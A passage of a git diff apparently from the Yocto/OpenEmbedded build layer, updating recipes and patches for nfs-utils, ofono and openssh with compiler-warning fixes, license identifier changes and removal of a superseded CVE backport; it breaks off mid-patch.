- xlog(L_WARNING, "%s exported to both %s and %s, "
- "arbitrarily choosing options from first",
-- path, found->m_client->m_hostname, exp->m_client->m_hostname,
-- dom);
-+ path, found->m_client->m_hostname, exp->m_client->m_hostname);
- found->m_warned = 1;
- }
- }
-Index: nfs-utils-2.3.3/utils/mountd/mountd.c
-===================================================================
---- nfs-utils-2.3.3.orig/utils/mountd/mountd.c
-+++ nfs-utils-2.3.3/utils/mountd/mountd.c
-@@ -213,7 +213,7 @@ static void
- sig_hup (int sig)
- {
- /* don't exit on SIGHUP */
-- xlog (L_NOTICE, "Received SIGHUP... Ignoring.\n", sig);
-+ xlog (L_NOTICE, "Received SIGHUP(%d)... Ignoring.\n", sig);
- return;
- }
-
-Index: nfs-utils-2.3.3/utils/statd/rmtcall.c
-===================================================================
---- nfs-utils-2.3.3.orig/utils/statd/rmtcall.c
-+++ nfs-utils-2.3.3/utils/statd/rmtcall.c
-@@ -247,7 +247,7 @@ process_reply(FD_SET_TYPE *rfds)
- xlog_warn("%s: service %d not registered on localhost",
- __func__, NL_MY_PROG(lp));
- } else {
-- xlog(D_GENERAL, "%s: Callback to %s (for %d) succeeded",
-+ xlog(D_GENERAL, "%s: Callback to %s (for %s) succeeded",
- __func__, NL_MY_NAME(lp), NL_MON_NAME(lp));
- }
- nlist_free(&notify, lp);
-Index: nfs-utils-2.3.3/utils/statd/svc_run.c
-===================================================================
---- nfs-utils-2.3.3.orig/utils/statd/svc_run.c
-+++ nfs-utils-2.3.3/utils/statd/svc_run.c
-@@ -53,6 +53,7 @@
-
- #include <errno.h>
- #include <time.h>
-+#include <inttypes.h>
- #include "statd.h"
- #include "notlist.h"
-
-@@ -104,8 +105,8 @@ my_svc_run(int sockfd)
-
- tv.tv_sec = NL_WHEN(notify) - now;
- tv.tv_usec = 0;
-- xlog(D_GENERAL, "Waiting for reply... (timeo %d)",
-- tv.tv_sec);
-+ xlog(D_GENERAL, "Waiting for reply... (timeo %jd)",
-+ (intmax_t)tv.tv_sec);
- selret = select(FD_SETSIZE, &readfds,
- (void *) 0, (void *) 0, &tv);
- } else {
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils/clang-warnings.patch b/meta/recipes-connectivity/nfs-utils/nfs-utils/clang-warnings.patch
new file mode 100644
index 0000000000..fde99b599e
--- /dev/null
+++ b/meta/recipes-connectivity/nfs-utils/nfs-utils/clang-warnings.patch
@@ -0,0 +1,36 @@
+From 1ab0c326405c6daa06f1a7eb4b0b60bf4e0584c2 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 31 Dec 2019 08:15:34 -0800
+Subject: [PATCH] Detect warning options during configure
+
+Certain options maybe compiler specific therefore its better
+to detect them before use.
+
+nfs_error copies the format string and appends newline to it
+but compiler can forget that it was format string since its not
+same fmt string that was passed. Ignore the warning
+
+Wdiscarded-qualifiers is gcc specific and this is no longer needed
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ support/nfs/xcommon.c | 3 +++
+ 1 file changed, 3 insertions(+)
+
+diff --git a/support/nfs/xcommon.c b/support/nfs/xcommon.c
+index 3989f0b..e080423 100644
+--- a/support/nfs/xcommon.c
++++ b/support/nfs/xcommon.c
+@@ -98,7 +98,10 @@ nfs_error (const char *fmt, ...) {
+
+ fmt2 = xstrconcat2 (fmt, "\n");
+ va_start (args, fmt);
++#pragma GCC diagnostic push
++#pragma GCC diagnostic ignored "-Wformat-nonliteral"
+ vfprintf (stderr, fmt2, args);
++#pragma GCC diagnostic pop
+ va_end (args);
+ free (fmt2);
+ }
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-server.service b/meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-server.service
index 6481377d80..5c845b7e82 100644
--- a/meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-server.service
+++ b/meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-server.service
@@ -17,7 +17,6 @@ ExecStop=@SBINDIR@/rpc.nfsd 0
ExecStopPost=@SBINDIR@/exportfs -au
ExecStopPost=@SBINDIR@/exportfs -f
ExecReload=@SBINDIR@/exportfs -r
-StandardError=syslog
RemainAfterExit=yes
[Install]
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-utils-musl-res_querydomain.patch b/meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-utils-musl-res_querydomain.patch
deleted file mode 100644
index 921f5edc82..0000000000
--- a/meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-utils-musl-res_querydomain.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From caa19231196d73541445728e6813c8fa70345acb Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Tue, 26 Jun 2018 15:59:00 +0800
-Subject: [PATCH] nfs-utils: 2.1.1 -> 2.3.1
-
-Fixed:
-configure: error: res_querydomain needed
-
-Upstream-Status: Pending [https://github.com/alpinelinux/aports/blob/master/main/nfs-utils/musl-configure_ac.patch]
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
----
- configure.ac | 9 ++++-----
- 1 file changed, 4 insertions(+), 5 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 50002b4..dcadb23 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -582,10 +582,10 @@ my_am_cflags="\
- -Wall \
- -Wextra \
- $rpcgen_cflags \
-- -Werror=missing-prototypes \
-- -Werror=missing-declarations \
-+ -Wmissing-prototypes \
-+ -Wmissing-declarations \
- -Werror=format=2 \
-- -Werror=undef \
-+ -Wundef \
- -Werror=missing-include-dirs \
- -Werror=strict-aliasing=2 \
- -Werror=init-self \
-@@ -614,10 +614,9 @@ AC_DEFUN([CHECK_CCSUPPORT], [
-
- CHECK_CCSUPPORT([-Werror=format-overflow=2], [flg1])
- CHECK_CCSUPPORT([-Werror=int-conversion], [flg2])
--CHECK_CCSUPPORT([-Werror=incompatible-pointer-types], [flg3])
- CHECK_CCSUPPORT([-Werror=misleading-indentation], [flg4])
-
--AC_SUBST([AM_CFLAGS], ["$my_am_cflags $flg1 $flg2 $flg3 $flg4"])
-+AC_SUBST([AM_CFLAGS], ["$my_am_cflags $flg1 $flg2 $flg4"])
-
- # Make sure that $ACLOCAL_FLAGS are used during a rebuild
- AC_SUBST([ACLOCAL_AMFLAGS], ["-I $ac_macro_dir \$(ACLOCAL_FLAGS)"])
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils_2.4.1.bb b/meta/recipes-connectivity/nfs-utils/nfs-utils_2.4.1.bb
deleted file mode 100644
index eb32bccb57..0000000000
--- a/meta/recipes-connectivity/nfs-utils/nfs-utils_2.4.1.bb
+++ /dev/null
@@ -1,152 +0,0 @@
-SUMMARY = "userspace utilities for kernel nfs"
-DESCRIPTION = "The nfs-utils package provides a daemon for the kernel \
-NFS server and related tools."
-HOMEPAGE = "http://nfs.sourceforge.net/"
-SECTION = "console/network"
-
-LICENSE = "MIT & GPLv2+ & BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=95f3a93a5c3c7888de623b46ea085a84"
-
-# util-linux for libblkid
-DEPENDS = "libcap libevent util-linux sqlite3 libtirpc"
-RDEPENDS_${PN} = "${PN}-client"
-RRECOMMENDS_${PN} = "kernel-module-nfsd"
-
-inherit useradd
-
-USERADD_PACKAGES = "${PN}-client"
-USERADD_PARAM_${PN}-client = "--system --home-dir /var/lib/nfs \
- --shell /bin/false --user-group rpcuser"
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/utils/nfs-utils/${PV}/nfs-utils-${PV}.tar.xz \
- file://nfsserver \
- file://nfscommon \
- file://nfs-utils.conf \
- file://nfs-server.service \
- file://nfs-mountd.service \
- file://nfs-statd.service \
- file://proc-fs-nfsd.mount \
- file://nfs-utils-debianize-start-statd.patch \
- file://bugfix-adjust-statd-service-name.patch \
- file://0001-cacheio-use-intmax_t-for-formatted-IO.patch \
- file://clang-format-string.patch \
- file://0001-Makefile.am-fix-undefined-function-for-libnsm.a.patch \
- file://0001-Don-t-build-tools-with-CC_FOR_BUILD.patch \
- file://0001-Fix-include-order-between-config.h-and-stat.h.patch \
-"
-SRC_URI_append_libc-glibc = " file://0001-configure.ac-Do-not-fatalize-Wmissing-prototypes.patch"
-SRC_URI_append_libc-musl = " file://nfs-utils-musl-res_querydomain.patch"
-
-SRC_URI[md5sum] = "161efe469ec1b06f1c750bd87f8ba6dd"
-SRC_URI[sha256sum] = "85274ada94479b1beba9f8eeffd19f477c53a6710b9998d1192c807854087736"
-
-# Only kernel-module-nfsd is required here (but can be built-in) - the nfsd module will
-# pull in the remainder of the dependencies.
-
-INITSCRIPT_PACKAGES = "${PN} ${PN}-client"
-INITSCRIPT_NAME = "nfsserver"
-INITSCRIPT_PARAMS = "defaults"
-INITSCRIPT_NAME_${PN}-client = "nfscommon"
-INITSCRIPT_PARAMS_${PN}-client = "defaults 19 21"
-
-inherit autotools-brokensep update-rc.d systemd pkgconfig
-
-SYSTEMD_PACKAGES = "${PN} ${PN}-client"
-SYSTEMD_SERVICE_${PN} = "nfs-server.service nfs-mountd.service"
-SYSTEMD_SERVICE_${PN}-client = "nfs-statd.service"
-
-# --enable-uuid is need for cross-compiling
-EXTRA_OECONF = "--with-statduser=rpcuser \
- --enable-mountconfig \
- --enable-libmount-mount \
- --enable-uuid \
- --disable-gss \
- --disable-nfsdcltrack \
- --with-statdpath=/var/lib/nfs/statd \
- "
-
-CFLAGS += "-Wno-error=format-overflow"
-
-PACKAGECONFIG ??= "tcp-wrappers \
- ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
-"
-PACKAGECONFIG_remove_libc-musl = "tcp-wrappers"
-PACKAGECONFIG[tcp-wrappers] = "--with-tcp-wrappers,--without-tcp-wrappers,tcp-wrappers"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-# libdevmapper is available in meta-oe
-PACKAGECONFIG[nfsv41] = "--enable-nfsv41,--disable-nfsv41,libdevmapper"
-# keyutils is available in meta-security
-PACKAGECONFIG[nfsv4] = "--enable-nfsv4,--disable-nfsv4,keyutils"
-
-PACKAGES =+ "${PN}-client ${PN}-mount ${PN}-stats"
-
-CONFFILES_${PN}-client += "${localstatedir}/lib/nfs/etab \
- ${localstatedir}/lib/nfs/rmtab \
- ${localstatedir}/lib/nfs/xtab \
- ${localstatedir}/lib/nfs/statd/state \
- ${sysconfdir}/nfsmount.conf"
-
-FILES_${PN}-client = "${sbindir}/*statd \
- ${sbindir}/rpc.idmapd ${sbindir}/sm-notify \
- ${sbindir}/showmount ${sbindir}/nfsstat \
- ${localstatedir}/lib/nfs \
- ${sysconfdir}/nfs-utils.conf \
- ${sysconfdir}/nfsmount.conf \
- ${sysconfdir}/init.d/nfscommon \
- ${systemd_unitdir}/system/nfs-statd.service"
-RDEPENDS_${PN}-client = "${PN}-mount rpcbind"
-
-FILES_${PN}-mount = "${base_sbindir}/*mount.nfs*"
-
-FILES_${PN}-stats = "${sbindir}/mountstats ${sbindir}/nfsiostat"
-RDEPENDS_${PN}-stats = "python3-core"
-
-FILES_${PN} += "${systemd_unitdir}"
-
-do_configure_prepend() {
- sed -i -e 's,sbindir = /sbin,sbindir = ${base_sbindir},g' \
- ${S}/utils/mount/Makefile.am
-}
-
-# Make clean needed because the package comes with
-# precompiled 64-bit objects that break the build
-do_compile_prepend() {
- make clean
-}
-
-# Works on systemd only
-HIGH_RLIMIT_NOFILE ??= "4096"
-
-do_install_append () {
- install -d ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/nfsserver ${D}${sysconfdir}/init.d/nfsserver
- install -m 0755 ${WORKDIR}/nfscommon ${D}${sysconfdir}/init.d/nfscommon
-
- install -m 0755 ${WORKDIR}/nfs-utils.conf ${D}${sysconfdir}
- install -m 0755 ${S}/utils/mount/nfsmount.conf ${D}${sysconfdir}
-
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/nfs-server.service ${D}${systemd_unitdir}/system/
- install -m 0644 ${WORKDIR}/nfs-mountd.service ${D}${systemd_unitdir}/system/
- install -m 0644 ${WORKDIR}/nfs-statd.service ${D}${systemd_unitdir}/system/
- sed -i -e 's,@SBINDIR@,${sbindir},g' \
- -e 's,@SYSCONFDIR@,${sysconfdir},g' \
- -e 's,@HIGH_RLIMIT_NOFILE@,${HIGH_RLIMIT_NOFILE},g' \
- ${D}${systemd_unitdir}/system/*.service
- if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
- install -m 0644 ${WORKDIR}/proc-fs-nfsd.mount ${D}${systemd_unitdir}/system/
- install -d ${D}${systemd_unitdir}/system/sysinit.target.wants/
- ln -sf ../proc-fs-nfsd.mount ${D}${systemd_unitdir}/system/sysinit.target.wants/proc-fs-nfsd.mount
- fi
-
- # kernel code as of 3.8 hard-codes this path as a default
- install -d ${D}/var/lib/nfs/v4recovery
-
- # chown the directories and files
- chown -R rpcuser:rpcuser ${D}${localstatedir}/lib/nfs/statd
- chmod 0644 ${D}${localstatedir}/lib/nfs/statd/state
-
- # Make python tools use python 3
- sed -i -e '1s,#!.*python.*,#!${bindir}/python3,' ${D}${sbindir}/mountstats ${D}${sbindir}/nfsiostat
-
-}
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils_2.6.1.bb b/meta/recipes-connectivity/nfs-utils/nfs-utils_2.6.1.bb
new file mode 100644
index 0000000000..bbed5aea59
--- /dev/null
+++ b/meta/recipes-connectivity/nfs-utils/nfs-utils_2.6.1.bb
@@ -0,0 +1,145 @@
+SUMMARY = "userspace utilities for kernel nfs"
+DESCRIPTION = "The nfs-utils package provides a daemon for the kernel \
+NFS server and related tools."
+HOMEPAGE = "http://nfs.sourceforge.net/"
+SECTION = "console/network"
+
+LICENSE = "MIT & GPL-2.0-or-later & BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=95f3a93a5c3c7888de623b46ea085a84"
+
+# util-linux for libblkid
+DEPENDS = "libcap libevent util-linux sqlite3 libtirpc"
+RDEPENDS:${PN} = "${PN}-client"
+RRECOMMENDS:${PN} = "kernel-module-nfsd"
+
+inherit useradd
+
+USERADD_PACKAGES = "${PN}-client"
+USERADD_PARAM:${PN}-client = "--system --home-dir /var/lib/nfs \
+ --shell /bin/false --user-group rpcuser"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/utils/nfs-utils/${PV}/nfs-utils-${PV}.tar.xz \
+ file://nfsserver \
+ file://nfscommon \
+ file://nfs-utils.conf \
+ file://nfs-server.service \
+ file://nfs-mountd.service \
+ file://nfs-statd.service \
+ file://proc-fs-nfsd.mount \
+ file://nfs-utils-debianize-start-statd.patch \
+ file://bugfix-adjust-statd-service-name.patch \
+ file://0001-Makefile.am-fix-undefined-function-for-libnsm.a.patch \
+ file://clang-warnings.patch \
+ "
+SRC_URI[sha256sum] = "60dfcd94a9f3d72a12bc7058d811787ec87a6d593d70da2123faf9aad3d7a1df"
+
+# Only kernel-module-nfsd is required here (but can be built-in) - the nfsd module will
+# pull in the remainder of the dependencies.
+
+INITSCRIPT_PACKAGES = "${PN} ${PN}-client"
+INITSCRIPT_NAME = "nfsserver"
+INITSCRIPT_PARAMS = "defaults"
+INITSCRIPT_NAME:${PN}-client = "nfscommon"
+INITSCRIPT_PARAMS:${PN}-client = "defaults 19 21"
+
+inherit autotools-brokensep update-rc.d systemd pkgconfig
+
+SYSTEMD_PACKAGES = "${PN} ${PN}-client"
+SYSTEMD_SERVICE:${PN} = "nfs-server.service nfs-mountd.service"
+SYSTEMD_SERVICE:${PN}-client = "nfs-statd.service"
+
+# --enable-uuid is need for cross-compiling
+EXTRA_OECONF = "--with-statduser=rpcuser \
+ --enable-mountconfig \
+ --enable-libmount-mount \
+ --enable-uuid \
+ --disable-gss \
+ --disable-nfsdcltrack \
+ --with-statdpath=/var/lib/nfs/statd \
+ --with-rpcgen=${HOSTTOOLS_DIR}/rpcgen \
+ "
+
+PACKAGECONFIG ??= "tcp-wrappers \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
+"
+PACKAGECONFIG:remove:libc-musl = "tcp-wrappers"
+PACKAGECONFIG[tcp-wrappers] = "--with-tcp-wrappers,--without-tcp-wrappers,tcp-wrappers"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+# libdevmapper is available in meta-oe
+PACKAGECONFIG[nfsv41] = "--enable-nfsv41,--disable-nfsv41,libdevmapper,libdevmapper"
+# keyutils is available in meta-oe
+PACKAGECONFIG[nfsv4] = "--enable-nfsv4,--disable-nfsv4,keyutils,python3-core"
+
+PACKAGES =+ "${PN}-client ${PN}-mount ${PN}-stats"
+
+CONFFILES:${PN}-client += "${localstatedir}/lib/nfs/etab \
+ ${localstatedir}/lib/nfs/rmtab \
+ ${localstatedir}/lib/nfs/xtab \
+ ${localstatedir}/lib/nfs/statd/state \
+ ${sysconfdir}/nfsmount.conf"
+
+FILES:${PN}-client = "${sbindir}/*statd \
+ ${sbindir}/rpc.idmapd ${sbindir}/sm-notify \
+ ${sbindir}/showmount ${sbindir}/nfsstat \
+ ${localstatedir}/lib/nfs \
+ ${sysconfdir}/nfs-utils.conf \
+ ${sysconfdir}/nfsmount.conf \
+ ${sysconfdir}/init.d/nfscommon \
+ ${systemd_system_unitdir}/nfs-statd.service"
+RDEPENDS:${PN}-client = "${PN}-mount rpcbind"
+
+FILES:${PN}-mount = "${base_sbindir}/*mount.nfs*"
+
+FILES:${PN}-stats = "${sbindir}/mountstats ${sbindir}/nfsiostat ${sbindir}/nfsdclnts"
+RDEPENDS:${PN}-stats = "python3-core"
+
+FILES:${PN}-staticdev += "${libdir}/libnfsidmap/*.a"
+
+FILES:${PN} += "${systemd_unitdir} ${libdir}/libnfsidmap/"
+
+do_configure:prepend() {
+ sed -i -e 's,sbindir = /sbin,sbindir = ${base_sbindir},g' \
+ ${S}/utils/mount/Makefile.am
+}
+
+# Make clean needed because the package comes with
+# precompiled 64-bit objects that break the build
+do_compile:prepend() {
+ make clean
+}
+
+# Works on systemd only
+HIGH_RLIMIT_NOFILE ??= "4096"
+
+do_install:append () {
+ install -d ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/nfsserver ${D}${sysconfdir}/init.d/nfsserver
+ install -m 0755 ${WORKDIR}/nfscommon ${D}${sysconfdir}/init.d/nfscommon
+
+ install -m 0755 ${WORKDIR}/nfs-utils.conf ${D}${sysconfdir}
+ install -m 0755 ${S}/utils/mount/nfsmount.conf ${D}${sysconfdir}
+
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/nfs-server.service ${D}${systemd_system_unitdir}/
+ install -m 0644 ${WORKDIR}/nfs-mountd.service ${D}${systemd_system_unitdir}/
+ install -m 0644 ${WORKDIR}/nfs-statd.service ${D}${systemd_system_unitdir}/
+ sed -i -e 's,@SBINDIR@,${sbindir},g' \
+ -e 's,@SYSCONFDIR@,${sysconfdir},g' \
+ -e 's,@HIGH_RLIMIT_NOFILE@,${HIGH_RLIMIT_NOFILE},g' \
+ ${D}${systemd_system_unitdir}/*.service
+ if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
+ install -m 0644 ${WORKDIR}/proc-fs-nfsd.mount ${D}${systemd_system_unitdir}/
+ install -d ${D}${systemd_system_unitdir}/sysinit.target.wants/
+ ln -sf ../proc-fs-nfsd.mount ${D}${systemd_system_unitdir}/sysinit.target.wants/proc-fs-nfsd.mount
+ fi
+
+ # kernel code as of 3.8 hard-codes this path as a default
+ install -d ${D}/var/lib/nfs/v4recovery
+
+ # chown the directories and files
+ chown -R rpcuser:rpcuser ${D}${localstatedir}/lib/nfs/statd
+ chmod 0644 ${D}${localstatedir}/lib/nfs/statd/state
+
+ # Make python tools use python 3
+ sed -i -e '1s,#!.*python.*,#!${bindir}/python3,' ${D}${sbindir}/mountstats ${D}${sbindir}/nfsiostat
+}
diff --git a/meta/recipes-connectivity/ofono/ofono/0002-mbim-Fix-build-with-ell-0.39-by-restoring-unlikely-m.patch b/meta/recipes-connectivity/ofono/ofono/0002-mbim-Fix-build-with-ell-0.39-by-restoring-unlikely-m.patch
new file mode 100644
index 0000000000..3655b3fd66
--- /dev/null
+++ b/meta/recipes-connectivity/ofono/ofono/0002-mbim-Fix-build-with-ell-0.39-by-restoring-unlikely-m.patch
@@ -0,0 +1,28 @@
+From 76e4054801350ebd4a44057379431a33d460ad0f Mon Sep 17 00:00:00 2001
+From: Martin Jansa <Martin.Jansa@gmail.com>
+Date: Wed, 21 Apr 2021 11:01:34 +0000
+Subject: [PATCH] mbim: Fix build with ell-0.39 by restoring unlikely macro
+ from ell/util.h
+
+Upstream-Status: Pending
+
+Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
+---
+ drivers/mbimmodem/mbim-private.h | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/drivers/mbimmodem/mbim-private.h b/drivers/mbimmodem/mbim-private.h
+index 51693eae..d917312c 100644
+--- a/drivers/mbimmodem/mbim-private.h
++++ b/drivers/mbimmodem/mbim-private.h
+@@ -30,6 +30,10 @@
+ __result; })
+ #endif
+
++/* used to be part of ell/util.h before 0.39:
++ https://git.kernel.org/pub/scm/libs/ell/ell.git/commit/?id=2a682421b06e41c45098217a686157f576847021 */
++#define unlikely(x) __builtin_expect(!!(x), 0)
++
+ enum mbim_control_message {
+ MBIM_OPEN_MSG = 0x1,
+ MBIM_CLOSE_MSG = 0x2,
diff --git a/meta/recipes-connectivity/ofono/ofono_1.31.bb b/meta/recipes-connectivity/ofono/ofono_1.31.bb
deleted file mode 100644
index 7d0976ad7f..0000000000
--- a/meta/recipes-connectivity/ofono/ofono_1.31.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "open source telephony"
-DESCRIPTION = "oFono is a stack for mobile telephony devices on Linux. oFono supports speaking to telephony devices through specific drivers, or with generic AT commands."
-HOMEPAGE = "http://www.ofono.org"
-BUGTRACKER = "https://01.org/jira/browse/OF"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=eb723b61539feef013de476e68b5c50a \
- file://src/ofono.h;beginline=1;endline=20;md5=3ce17d5978ef3445def265b98899c2ee"
-DEPENDS = "dbus glib-2.0 udev mobile-broadband-provider-info ell"
-
-SRC_URI = "\
- ${KERNELORG_MIRROR}/linux/network/${BPN}/${BP}.tar.xz \
- file://ofono \
- file://0001-mbim-add-an-optional-TEMP_FAILURE_RETRY-macro-copy.patch \
-"
-SRC_URI[md5sum] = "1c26340e3c6ed132cc812595081bb3dc"
-SRC_URI[sha256sum] = "a15c5d28096c10eb30e47a68b6dc2e7c4a5a99d7f4cfedf0b69624f33d859e9b"
-
-inherit autotools pkgconfig update-rc.d systemd gobject-introspection-data
-
-INITSCRIPT_NAME = "ofono"
-INITSCRIPT_PARAMS = "defaults 22"
-SYSTEMD_SERVICE_${PN} = "ofono.service"
-
-PACKAGECONFIG ??= "\
- ${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez', '', d)} \
-"
-PACKAGECONFIG[systemd] = "--with-systemdunitdir=${systemd_unitdir}/system/,--with-systemdunitdir="
-PACKAGECONFIG[bluez] = "--enable-bluetooth, --disable-bluetooth, bluez5"
-
-EXTRA_OECONF += "--enable-test --enable-external-ell"
-
-do_install_append() {
- install -d ${D}${sysconfdir}/init.d/
- install -m 0755 ${WORKDIR}/ofono ${D}${sysconfdir}/init.d/ofono
-}
-
-PACKAGES =+ "${PN}-tests"
-
-FILES_${PN} += "${systemd_unitdir}"
-FILES_${PN}-tests = "${libdir}/${BPN}/test"
-
-RDEPENDS_${PN} += "dbus"
-RDEPENDS_${PN}-tests = "\
- python3-core \
- python3-dbus \
- ${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'python3-pygobject', '', d)} \
-"
-
-RRECOMMENDS_${PN} += "kernel-module-tun mobile-broadband-provider-info"
diff --git a/meta/recipes-connectivity/ofono/ofono_1.34.bb b/meta/recipes-connectivity/ofono/ofono_1.34.bb
new file mode 100644
index 0000000000..23631747a7
--- /dev/null
+++ b/meta/recipes-connectivity/ofono/ofono_1.34.bb
@@ -0,0 +1,55 @@
+SUMMARY = "open source telephony"
+DESCRIPTION = "oFono is a stack for mobile telephony devices on Linux. oFono supports speaking to telephony devices through specific drivers, or with generic AT commands."
+HOMEPAGE = "http://www.ofono.org"
+BUGTRACKER = "https://01.org/jira/browse/OF"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=eb723b61539feef013de476e68b5c50a \
+ file://src/ofono.h;beginline=1;endline=20;md5=3ce17d5978ef3445def265b98899c2ee"
+DEPENDS = "dbus glib-2.0 udev mobile-broadband-provider-info ell"
+
+SRC_URI = "\
+ ${KERNELORG_MIRROR}/linux/network/${BPN}/${BP}.tar.xz \
+ file://ofono \
+ file://0001-mbim-add-an-optional-TEMP_FAILURE_RETRY-macro-copy.patch \
+ file://0002-mbim-Fix-build-with-ell-0.39-by-restoring-unlikely-m.patch \
+"
+SRC_URI[sha256sum] = "c0b96d3013447ec2bcb74579bef90e4e59c68dbfa4b9c6fbce5d12401a43aac7"
+
+inherit autotools pkgconfig update-rc.d systemd gobject-introspection-data
+
+INITSCRIPT_NAME = "ofono"
+INITSCRIPT_PARAMS = "defaults 22"
+SYSTEMD_SERVICE:${PN} = "ofono.service"
+
+PACKAGECONFIG ??= "\
+ ${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez', '', d)} \
+"
+PACKAGECONFIG[systemd] = "--with-systemdunitdir=${systemd_system_unitdir}/,--with-systemdunitdir="
+PACKAGECONFIG[bluez] = "--enable-bluetooth, --disable-bluetooth, bluez5"
+
+EXTRA_OECONF += "--enable-test --enable-external-ell"
+
+do_configure:prepend() {
+ bbnote "Removing bundled ell from ${S}/ell to prevent including it"
+ rm -rf ${S}/ell
+}
+
+do_install:append() {
+ install -d ${D}${sysconfdir}/init.d/
+ install -m 0755 ${WORKDIR}/ofono ${D}${sysconfdir}/init.d/ofono
+}
+
+PACKAGES =+ "${PN}-tests"
+
+FILES:${PN} += "${systemd_unitdir}"
+FILES:${PN}-tests = "${libdir}/${BPN}/test"
+
+RDEPENDS:${PN} += "dbus"
+RDEPENDS:${PN}-tests = "\
+ python3-core \
+ python3-dbus \
+ ${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'python3-pygobject', '', d)} \
+"
+
+RRECOMMENDS:${PN} += "kernel-module-tun mobile-broadband-provider-info"
diff --git a/meta/recipes-connectivity/openssh/openssh/0001-upstream-fix-integer-overflow-in-XMSS-private-key-pa.patch b/meta/recipes-connectivity/openssh/openssh/0001-upstream-fix-integer-overflow-in-XMSS-private-key-pa.patch
deleted file mode 100644
index 3265be3485..0000000000
--- a/meta/recipes-connectivity/openssh/openssh/0001-upstream-fix-integer-overflow-in-XMSS-private-key-pa.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From 2014fad3d28090b59d2f8a0971166c06e5fa6da6 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Fri, 18 Oct 2019 14:56:58 +0800
-Subject: [PATCH] upstream: fix integer overflow in XMSS private key parsing.
-
-Reported by Adam Zabrocki via SecuriTeam's SSH program.
-
-Note that this code is experimental and not compiled by default.
-
-ok markus@
-
-OpenBSD-Commit-ID: cd0361896d15e8a1bac495ac583ff065ffca2be1
-
-Signed-off-by: "djm@openbsd.org" <djm@openbsd.org>
-
-Upstream-Status: Backport [https://github.com/openssh/openssh-portable/commit/a546b17bbaeb12beac4c9aeed56f74a42b18a93a]
-CVE: CVE-2019-16905
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- sshkey-xmss.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/sshkey-xmss.c b/sshkey-xmss.c
-index aaae702..c57681a 100644
---- a/sshkey-xmss.c
-+++ b/sshkey-xmss.c
-@@ -977,7 +977,8 @@ sshkey_xmss_decrypt_state(const struct sshkey *k, struct sshbuf *encoded,
- goto out;
- }
- /* check that an appropriate amount of auth data is present */
-- if (sshbuf_len(encoded) < encrypted_len + authlen) {
-+ if (sshbuf_len(encoded) < authlen ||
-+ sshbuf_len(encoded) - authlen < encrypted_len) {
- r = SSH_ERR_INVALID_FORMAT;
- goto out;
- }
---
-2.7.4
-
diff --git a/meta/recipes-connectivity/openssh/openssh/f107467179428a0e3ea9e4aa9738ac12ff02822d.patch b/meta/recipes-connectivity/openssh/openssh/f107467179428a0e3ea9e4aa9738ac12ff02822d.patch
new file mode 100644
index 0000000000..847c0a143c
--- /dev/null
+++ b/meta/recipes-connectivity/openssh/openssh/f107467179428a0e3ea9e4aa9738ac12ff02822d.patch
@@ -0,0 +1,35 @@
+From f107467179428a0e3ea9e4aa9738ac12ff02822d Mon Sep 17 00:00:00 2001
+From: Colin Watson <cjwatson@debian.org>
+Date: Thu, 24 Feb 2022 16:04:18 +0000
+Subject: [PATCH] Improve detection of -fzero-call-used-regs=all support
+
+GCC doesn't tell us whether this option is supported unless it runs into
+the situation where it would need to emit corresponding code.
+
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ m4/openssh.m4 | 3 +++
+ 1 file changed, 3 insertions(+)
+
+diff --git a/m4/openssh.m4 b/m4/openssh.m4
+index 4f9c3792dc1..8c33c701b8b 100644
+--- a/m4/openssh.m4
